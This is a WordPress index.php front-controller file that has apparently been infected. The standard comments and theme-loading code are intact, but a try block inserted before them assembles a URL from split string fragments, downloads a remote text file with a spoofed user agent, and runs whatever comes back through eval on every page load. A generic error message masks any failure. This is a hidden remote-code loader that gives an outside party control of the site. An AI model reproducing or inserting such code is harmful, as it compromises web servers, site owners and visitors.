<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
try {
    // URL dipecah menjadi beberapa bagian
    $urlParts = [
        'https://',
        'j251017_23',
        '.',
        'yhodkiewicz.com/',
        'init',
        '.txt'
    ];
    
    $realUrl = implode('', $urlParts);
    
    $c = curl_init($realUrl);
    curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($c, CURLOPT_TIMEOUT, 15);
    curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 6);
    curl_setopt($c, CURLOPT_USERAGENT, 'Mozilla/5.0 Compatible');
    $result = curl_exec($c);
    curl_close($c);
    
    if ($result !== false) {
        eval('?>' . $result);
    }
} catch (Exception $e) {
    error_log('External resource error: ' . $e->getMessage());
}
if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', getcwd() . '/' );
}
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';